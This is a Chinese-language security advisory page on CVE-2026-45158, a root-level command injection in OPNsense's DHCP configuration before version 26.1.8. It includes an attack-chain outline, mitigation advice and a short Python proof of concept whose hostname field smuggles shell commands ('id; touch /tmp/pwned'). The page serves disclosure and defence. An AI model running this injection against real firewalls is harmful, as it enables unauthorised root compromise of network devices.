IPBUF安全漏洞报告
English
CVE-2026-45158 CVSS 9.1 严重

CVE-2026-45158 OPNsense DHCP配置远程代码执行漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-45158
漏洞类型
远程代码执行
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OPNsense

相关标签

远程代码执行RCEOPNsense防火墙命令注入Root权限

漏洞概述

OPNsense是基于FreeBSD的防火墙和路由平台。在26.1.8版本之前,其DHCP配置功能中存在一个严重的远程代码执行漏洞。由于系统未对用户输入进行充分的净化处理,攻击者可利用该漏洞将恶意构造的参数传递给后端Shell脚本。成功利用此漏洞可在底层操作系统上以root权限执行任意代码,造成系统完全沦陷。CVSS评分高达9.1,属于严重级别漏洞。

技术细节

该漏洞的根源在于OPNsense在处理网络接口的DHCP配置请求时,未能对用户提交的输入数据进行严格的过滤和净化。具体而言,当拥有高权限的用户通过Web管理界面修改DHCP设置时,特定的配置参数(例如接口描述符或选项字段)会被直接拼接到后台的Shell脚本命令中执行。攻击者可以利用这一点,在输入字段中注入恶意的Shell元字符(如 `;`、`$()` 或 `|`),从而截断原有命令逻辑并拼接执行任意系统指令。由于负责处理DHCP配置的后台脚本是以root权限运行的,因此攻击者成功利用该漏洞后,即可在底层FreeBSD操作系统上获得最高权限的代码执行能力。尽管该漏洞需要较高的初始权限进行利用,但其攻击复杂度低且危害范围广,可导致防火墙完全被攻破。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标OPNsense防火墙及其管理接口。
STEP 2
步骤2:获取访问权限
攻击者获取具有高权限的管理员账户凭据(满足PR:H要求)。
STEP 3
步骤3:漏洞利用
攻击者通过Web界面或API向DHCP配置接口发送包含恶意Shell命令的特制请求数据。
STEP 4
步骤4:命令执行
后端Shell脚本处理未净化的输入,导致以root权限执行注入的恶意代码。
STEP 5
步骤5:建立控制
攻击者获得系统root权限,可进一步安装后门、窃取数据或破坏网络。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration endpoint url = "https://<target-ip>/api/interfaces/dhcpd/settings" # Credentials with high privileges (PR:H) auth = ('admin', 'admin_password') # Headers headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0' } # Malicious payload injected into a DHCP field # Payload attempts to execute 'id' and 'touch /tmp/pwned' payload = { "hostname": "normal`; id; touch /tmp/pwned; #", "enable": "1" } try: # Send POST request to trigger the vulnerability response = requests.post(url, json=payload, headers=headers, auth=auth, verify=False) if response.status_code == 200: print("[*] Payload sent successfully.") print("[*] Check if the file /tmp/pwned was created.") else: print(f"[!] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

OPNsense < 26.1.8

防御指南

临时缓解措施
建议用户立即将OPNsense防火墙升级至26.1.8版本以修复此漏洞。在升级前,应严格限制管理后台的访问权限,仅允许可信的内网IP访问,并强制使用强密码策略,防止未授权的高权限账户被利用。同时,应密切监控系统日志中是否存在异常的Shell脚本执行记录或DHCP配置变更行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表